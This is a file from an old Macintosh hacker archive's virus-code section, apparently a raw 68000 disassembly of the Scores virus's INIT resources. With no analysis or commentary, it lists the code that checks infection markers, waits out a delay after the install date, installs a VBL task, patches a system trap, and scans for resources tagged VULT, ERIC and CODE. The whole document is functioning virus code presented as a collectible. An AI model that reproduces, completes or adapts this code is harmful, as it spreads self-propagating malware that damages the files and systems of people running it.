home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Viruses / VirusCode.sit / Virus Code / Scores_INIT6,17.txt < prev   
Text File  |  1988-11-15  |  9KB  |  315 lines
  1.  
  2. ;Seg 1 = INIT ID# 6 proc 1 of 6 (local)
  3.  
  4. 0000: L0000    BRA.S    L000E
  5. 0002: L0002    SUB.L    D7,-(A6)
  6. 0004:     SLT    (A7)
  7. 0006:     MOVE.L    -(A3),D2
  8. 0008:     MOVE.L    -(A4),-(A1)
  9. 000A:     SUBQ.W    #5,(A6)
  10. 000C:     MOVE.W    (A5)+,$2848(A0)
  11. 0010:     _HNoPurge    
  12. 0012:     MOVEA.L    A4,A0
  13. 0014:     _HLock    
  14. 0016:     JSR    locProc2
  15. 001A:     BNE.S    L0030
  16. 001C:     MOVE.L    L0002,D0
  17. 0020:     ADDI.L    #$00093A80,D0
  18. 0026:     CMP.L    $020C,D0
  19. 002A:     BGT.S    L0030
  20. 002C:     JSR    locProc4
  21. 0030: L0030    RTS    
  22. 0032:     .WORD    $5642,$4331    ;[VBC1....]
  23.  
  24. ;Seg 1 = INIT ID# 6 proc 2 of 6 (local)
  25.  
  26. 0000: L0036    MOVEA.L    $0162,A0
  27. 0004:     MOVEA.L    $0166,A3
  28. 0008: L003E    LEA    $0010(A0),A1
  29. 000C:     CMPI.L    #$24232324,$0008(A1)    ;'$##$'
  30. 0014:     BNE.S    locProc3
  31. 0016:     CMPI.L    #$5B56315D,$000C(A1)    ;'[V1]'
  32. 001E:     BNE.S    locProc3
  33. 0020:     MOVEQ    $FF,D0
  34. 0022:     RTS    
  35.  
  36. ;Seg 1 = INIT ID# 6 proc 3 of 6 (local)
  37.  
  38. 0000: L005A    MOVEA.L    (A0),A0
  39. 0002:     MOVE.L    A0,D0
  40. 0004:     BEQ.S    L0066
  41. 0006:     CMPA.L    A0,A3
  42. 0008:     BEQ.S    L0066
  43. 000A:     BRA.S    L003E
  44. 000C: L0066    MOVEQ    $00,D0
  45. 000E:     RTS    
  46.  
  47. ;Seg 1 = INIT ID# 6 proc 4 of 6 (local)
  48.  
  49. 0000: L006A    LEA    L0304,A1
  50. 0004:     LEA    L00E8,A2
  51. 0008:     SUBA.L    A2,A1
  52. 000A:     MOVE.L    A1,D0
  53. 000C:     ADDI.L    #$00000020,D0
  54. 0012:     _NewPtr    
  55. 0014:     MOVE.W    D0,D0
  56. 0016:     BNE.S    L00E2
  57. 0018:     MOVE.L    A0,-(A7)
  58. 001A:     LEA    L0304,A1
  59. 001E:     LEA    L00E8,A2
  60. 0022:     SUBA.L    A2,A1
  61. 0024:     MOVE.L    A1,D0
  62. 0026:     MOVEA.L    A0,A1
  63. 0028:     ADDA.W    #$0020,A1
  64. 002C:     LEA    L00E8,A0
  65. 0030:     _BlockMove    
  66. 0032:     MOVEA.L    (A7)+,A0
  67. 0034:     MOVE.W    #$0001,$0004(A0)
  68. 003A:     LEA    $0020(A0),A1
  69. 003E:     MOVE.L    A1,$0006(A0)
  70. 0042:     MOVE.W    #$0E10,$000A(A0)
  71. 0048:     MOVE.W    #$000A,$000C(A0)
  72. 004E:     MOVE.L    A0,-(A7)
  73. 0050:     _VInstall    
  74. 0052:     MOVEA.L    (A7)+,A0
  75. 0054:     LEA    $0010(A0),A1
  76. 0058:     CLR.L    (A1)
  77. 005A:     MOVE.L    #$24232324,$0008(A1)    ;'$##$'
  78. 0062:     MOVE.L    #$5B56315D,$000C(A1)    ;'[V1]'
  79. 006A:     MOVE.W    #$A003,D0
  80. 006E:     MOVE.L    A1,-(A7)
  81. 0070:     _GetTrapAddress    
  82. 0072:     MOVEA.L    (A7)+,A1
  83. 0074:     MOVE.L    A0,$0004(A1)
  84. 0078: L00E2    RTS    
  85. 007A:     .WORD    $5630,$3031,$41FA,$FFFE    ;[V001A...]
  86. 0082:     .WORD    $90FC,$20,$317C,$E10    ;[... 1|..]
  87. 008A:     .WORD    $A,$D0FC,$10,$2F08    ;[....../.]
  88. 0092:     .WORD    $4850,$4EBA,$2C,$584F    ;[HPN..,XO]
  89. 009A:     .WORD    $205F,$2010,$C80,0    ;[ _ .....]
  90. 00A2:     .WORD    $E,$6D0A,$303C,$A003    ;[..m.0<..]
  91. 00AA:     .WORD    $41FA,$190,$A047,$4E75    ;[A....GNu]
  92. 00B2:     .WORD    $206F,4,$A029,$4E75    ;[ o...)Nu]
  93. 00BA:     .WORD    $206F,4,$A02A,$4E75    ;[ o...*Nu]
  94. 00C2:     .WORD    $48E7,$2020,$242F,$C    ;[H.  $/..]
  95. 00CA:     .WORD    $2478,$A50,$602C,$2F0A    ;[$x.P`,/.]
  96. 00D2:     .WORD    $4EBA,$FFDE,$2052,$3038    ;[N... R08]
  97. 00DA:     .WORD    $900,$B068,$14,$588F    ;[...h..X.]
  98. 00E2:     .WORD    $660A,$2F02,$2F08,$4EBA    ;[f././.N.]
  99. 00EA:     .WORD    $1E,$508F,$2F0A,$4EBA    ;[..P./.N.]
  100. 00F2:     .WORD    $FFC8,$2052,$2468,$10    ;[.. R$h..]
  101. 00FA:     .WORD    $588F,$200A,$6600,$FFD0    ;[X. .f...]
  102. 0102:     .WORD    $4CDF,$404,$4E75,$48E7    ;[L...NuH.]
  103. 010A:     .WORD    $3E30,$226F,$20,$246F    ;[>0"o. $o]
  104. 0112:     .WORD    $24,$4241,$7400,$3029    ;[.$BAt.0)]
  105. 011A:     .WORD    $18,$48C0,$D089,$2640    ;[..H...&@]
  106. 0122:     .WORD    $3813,$5244,$4243,$6040    ;[8.RDBC`@]
  107. 012A:     .WORD    $3003,$48C0,$E780,$CB3    ;[0.H.....]
  108. 0132:     .WORD    $5655,$4C54,$802,$6602    ;[VULT..f.]
  109. 013A:     .WORD    $7401,$3003,$48C0,$E780    ;[t.0.H...]
  110. 0142:     .WORD    $CB3,$434F,$4445,$802    ;[..CODE..]
  111. 014A:     .WORD    $661C,$7201,$3003,$48C0    ;[f.r.0.H.]
  112. 0152:     .WORD    $E780,$3A33,$806,$5245    ;[..:3..RE]
  113. 015A:     .WORD    $3003,$48C0,$E780,$3C33    ;[0.H...<3]
  114. 0162:     .WORD    $808,$646,$1C,$5243    ;[...F..RC]
  115. 016A:     .WORD    $B644,$6D00,$FFBC,$702C    ;[.Dm...p,]
  116. 0172:     .WORD    $B092,$6C1E,$4A82,$671A    ;[..l.J.g.]
  117. 017A:     .WORD    $4A41,$6716,$3005,$48C0    ;[JAg.0.H.]
  118. 0182:     .WORD    $2F00,$3006,$48C0,$2F00    ;[/.0.H./.]
  119. 018A:     .WORD    $2F09,$4EBA,$12,$4FEF    ;[/.N...O.]
  120. 0192:     .WORD    $C,$4A82,$6702,$5292    ;[..J.g.R.]
  121. 019A:     .WORD    $4CDF,$C7C,$4E75    ;[L..|Nu..]
  122.  
  123. ;Seg 1 = INIT ID# 6 proc 5 of 6 (local)
  124.  
  125. 0000: L020A    LINK    A6,#$FFF4
  126. 0004:     MOVEM.L    D2-D5/A2-A3,-(A7)
  127. 0008:     MOVEA.L    $0008(A6),A0
  128. 000C:     MOVE.W    $000E(A6),D0
  129. 0010:     MOVE.W    $0012(A6),D1
  130. 0014:     CLR.W    D3
  131. 0016:     MOVE.W    D3,D4
  132. 0018:     EXT.L    D0
  133. 001A:     ADDA.L    D0,A0
  134. 001C:     MOVE.L    A0,D5
  135. 001E:     MOVEQ    $01,D2
  136. 0020:     BRA.S    L0266
  137. 0022: L022C    MOVE.W    D2,D0
  138. 0024:     EXT.L    D0
  139. 0026:     MULS    #$0C,D0
  140. 002A:     MOVEA.L    D0,A0
  141. 002C:     ADDA.L    D5,A0
  142. 002E:     LEA    $FFF4(A6),A1
  143. 0032:     MOVE.L    (A0)+,(A1)+
  144. 0034:     MOVE.L    (A0)+,(A1)+
  145. 0036:     MOVE.L    (A0)+,(A1)+
  146. 0038:     CMPI.W    #$000D,$FFF4(A6)
  147. 003E:     BNE.S    L0258
  148. 0040:     TST.L    $FFFC(A6)
  149. 0044:     BEQ.S    L0264
  150. 0046:     MOVEQ    $01,D4
  151. 0048:     MOVEA.L    $FFFC(A6),A3
  152. 004C:     BRA.S    L0264
  153. 004E: L0258    TST.L    $FFFC(A6)
  154. 0052:     BEQ.S    L0264
  155. 0054:     MOVEQ    $01,D3
  156. 0056:     MOVEA.L    $FFFC(A6),A2
  157. 005A: L0264    ADDQ.W    #1,D2
  158. 005C: L0266    CMP.W    D1,D2
  159. 005E:     BLT    L022C
  160. 0062:     TST.W    D4
  161. 0064:     BEQ.S    L028A
  162. 0066:     BTST    #$0000,$020F
  163. 006C:     BLE.S    L0280
  164. 006E:     MOVE.L    #$000003DE,D0
  165. 0074:     BRA.S    L0286
  166. 0076: L0280    MOVE.L    #$00000472,D0
  167. 007C: L0286    MOVEA.L    (A3),A0
  168. 007E:     BRA.S    L0292
  169. 0080: L028A    TST.W    D3
  170. 0082:     BEQ.S    L0294
  171. 0084:     MOVEA.L    (A2),A0
  172. 0086:     MOVEQ    $21,D0
  173. 0088: L0292    ADDA.L    D0,A0
  174. 008A: L0294    MOVE.L    A0,-(A7)
  175. 008C:     JSR    locProc6
  176. 0090:     ADDQ.L    #4,A7
  177. 0092:     MOVEM.L    $FFDC(A6),D2-D5/A2-A3
  178. 0098:     UNLK    A6
  179. 009A:     RTS    
  180. 009C:     .WORD    $41FA,$FE40,$90FC,$10    ;[A..@....]
  181. 00A4:     .WORD    $2068,4,$303C,$A003    ;[ h..0<..]
  182. 00AC:     .WORD    $A047,$7660,$429F,$51CB    ;[.Gv`B.Q.]
  183. 00B4:     .WORD    $FFFC,$43FA,$FFE4,$45FA    ;[..C...E.]
  184. 00BC:     .WORD    $FE22,$93CA,$2009,$5140    ;[.".. .Q@]
  185. 00C4:     .WORD    $421A,$51C8,$FFFC,$9DCE    ;[B.Q.....]
  186. 00CC:     .WORD    $4ED0,$4E75    ;[N.Nu....]
  187.  
  188. ;Seg 1 = INIT ID# 6 proc 6 of 6 (local)
  189.  
  190. 0000: L02DA    MOVEA.L    $0004(A7),A4
  191. 0004:     MOVEQ    $60,D3
  192. 0006: L02E0    CLR.L    (A7)+
  193. 0008:     DBRA    D3,L02E0
  194. 000C:     LEA    L02DA,A1
  195. 0010:     LEA    L00E8,A2
  196. 0014:     SUBA.L    A2,A1
  197. 0016:     MOVE.L    A1,D0
  198. 0018:     SUBI.L    #$00000010,D0
  199. 001E: L02F8    CLR.B    (A2)+
  200. 0020:     DBRA    D0,L02F8
  201. 0024:     SUBA.L    A6,A6
  202. 0026:     JMP    (A4)
  203. 0028:     RTS    
  204.  
  205. ;Seg 2 = INIT ID# 17 proc 1 of 4 (local)
  206.  
  207. 0000: L0000    BRA.S    L0006
  208. 0002: L0002    SUB.L    D7,-(A6)
  209. 0004:     SLT    (A0)+
  210. 0006: L0006    MOVEA.L    A0,A4
  211. 0008:     _HNoPurge    
  212. 000A:     MOVEA.L    A4,A0
  213. 000C:     _HLock    
  214. 000E:     JSR    locProc2
  215. 0012:     BNE.S    L0028
  216. 0014:     MOVE.L    L0002,D0
  217. 0018:     ADDI.L    #$00054600,D0
  218. 001E:     CMP.L    $020C,D0
  219. 0022:     BGT.S    L0028
  220. 0024:     JSR    locProc4
  221. 0028: L0028    RTS    
  222. 002A:     .WORD    $5642,$4332    ;[VBC2....]
  223.  
  224. ;Seg 2 = INIT ID# 17 proc 2 of 4 (local)
  225.  
  226. 0000: L002E    MOVEA.L    $0162,A0
  227. 0004:     MOVEA.L    $0166,A3
  228. 0008: L0036    LEA    $0010(A0),A1
  229. 000C:     CMPI.L    #$24232324,$0008(A1)    ;'$##$'
  230. 0014:     BNE.S    locProc3
  231. 0016:     CMPI.L    #$5B56325D,$000C(A1)    ;'[V2]'
  232. 001E:     BNE.S    locProc3
  233. 0020:     MOVEQ    $FF,D0
  234. 0022:     RTS    
  235.  
  236. ;Seg 2 = INIT ID# 17 proc 3 of 4 (local)
  237.  
  238. 0000: L0052    MOVEA.L    (A0),A0
  239. 0002:     MOVE.L    A0,D0
  240. 0004:     BEQ.S    L005E
  241. 0006:     CMPA.L    A0,A3
  242. 0008:     BEQ.S    L005E
  243. 000A:     BRA.S    L0036
  244. 000C: L005E    MOVEQ    $00,D0
  245. 000E:     RTS    
  246.  
  247. ;Seg 2 = INIT ID# 17 proc 4 of 4 (local)
  248.  
  249. 0000: L0062    LEA    L01E0,A1
  250. 0004:     LEA    L00D2,A2
  251. 0008:     SUBA.L    A2,A1
  252. 000A:     MOVE.L    A1,D0
  253. 000C:     ADDI.L    #$00000020,D0
  254. 0012:     _NewPtr    
  255. 0014:     MOVE.W    D0,D0
  256. 0016:     BNE.S    L00CC
  257. 0018:     MOVE.L    A0,-(A7)
  258. 001A:     LEA    L01E0,A1
  259. 001E:     LEA    L00D2,A2
  260. 0022:     SUBA.L    A2,A1
  261. 0024:     MOVE.L    A1,D0
  262. 0026:     MOVEA.L    A0,A1
  263. 0028:     ADDA.W    #$0020,A1
  264. 002C:     LEA    L00D2,A0
  265. 0030:     _BlockMove    
  266. 0032:     MOVEA.L    (A7)+,A0
  267. 0034:     MOVE.W    #$0001,$0004(A0)
  268. 003A:     LEA    $0020(A0),A1
  269. 003E:     MOVE.L    A1,$0006(A0)
  270. 0042:     MOVE.W    #$0E10,$000A(A0)
  271. 0048:     MOVE.W    #$000A,$000C(A0)
  272. 004E:     MOVE.L    A0,-(A7)
  273. 0050:     _VInstall    
  274. 0052:     MOVEA.L    (A7)+,A0
  275. 0054:     LEA    $0010(A0),A1
  276. 0058:     CLR.L    (A1)
  277. 005A:     MOVE.L    #$24232324,$0008(A1)    ;'$##$'
  278. 0062:     MOVE.L    #$5B56325D,$000C(A1)    ;'[V2]'
  279. 006A: L00CC    RTS    
  280. 006C:     .WORD    $5630,$3032,$41FA,$FFFE    ;[V002A...]
  281. 0074:     .WORD    $90FC,$20,$317C,$E10    ;[... 1|..]
  282. 007C:     .WORD    $A,$D0FC,$10,$4850    ;[......HP]
  283. 0084:     .WORD    $4EBA,$16,$584F,$4E75    ;[N...XONu]
  284. 008C:     .WORD    $206F,4,$A029,$4E75    ;[ o...)Nu]
  285. 0094:     .WORD    $206F,4,$A02A,$4E75    ;[ o...*Nu]
  286. 009C:     .WORD    $48E7,$2020,$242F,$C    ;[H.  $/..]
  287. 00A4:     .WORD    $2478,$A50,$602C,$2F0A    ;[$x.P`,/.]
  288. 00AC:     .WORD    $4EBA,$FFDE,$2052,$3038    ;[N... R08]
  289. 00B4:     .WORD    $900,$B068,$14,$588F    ;[...h..X.]
  290. 00BC:     .WORD    $660A,$2F02,$2F08,$4EBA    ;[f././.N.]
  291. 00C4:     .WORD    $1E,$508F,$2F0A,$4EBA    ;[..P./.N.]
  292. 00CC:     .WORD    $FFC8,$2052,$2468,$10    ;[.. R$h..]
  293. 00D4:     .WORD    $588F,$200A,$6600,$FFD0    ;[X. .f...]
  294. 00DC:     .WORD    $4CDF,$404,$4E75,$48E7    ;[L...NuH.]
  295. 00E4:     .WORD    $3020,$206F,$10,$246F    ;[0  o..$o]
  296. 00EC:     .WORD    $14,$4240,$7400,$3028    ;[..B@t.0(]
  297. 00F4:     .WORD    $18,$48C0,$D088,$2240    ;[..H..."@]
  298. 00FC:     .WORD    $3611,$5243,$4241,$6026    ;[6.RCBA`&]
  299. 0104:     .WORD    $3001,$48C0,$E780,$CB1    ;[0.H.....]
  300. 010C:     .WORD    $5655,$4C54,$802,$6602    ;[VULT..f.]
  301. 0114:     .WORD    $7401,$3001,$48C0,$E780    ;[t.0.H...]
  302. 011C:     .WORD    $CB1,$4552,$4943,$802    ;[..ERIC..]
  303. 0124:     .WORD    $6602,$7401,$5241,$B243    ;[f.t.RA.C]
  304. 012C:     .WORD    $6D00,$FFD6,$7018,$B092    ;[m...p...]
  305. 0134:     .WORD    $6C08,$4A82,$6704,$4EBA    ;[l.J.g.N.]
  306. 013C:     .WORD    $E,$4A82,$6702,$5292    ;[..J.g.R.]
  307. 0144:     .WORD    $4CDF,$40C,$4E75,$48E7    ;[L...NuH.]
  308. 014C:     .WORD    $8080,$A9FF,$41FA,$FF1E    ;[....A...]
  309. 0154:     .WORD    $90FC,$20,$4268,$A    ;[... Bh..]
  310. 015C:     .WORD    $204D,$D0FC,$20,$5848    ;[ M... XH]
  311. 0164:     .WORD    $D0FC,$20,$7010,$690    ;[... p...]
  312. 016C:     .WORD    0,4,$D0FC,$40    ;[.......@]
  313. 0174:     .WORD    $51C8,$FFF4,$4CDF,$101    ;[Q...L...]
  314. 017C:     .WORD    $4E75    ;[Nu......]
  315.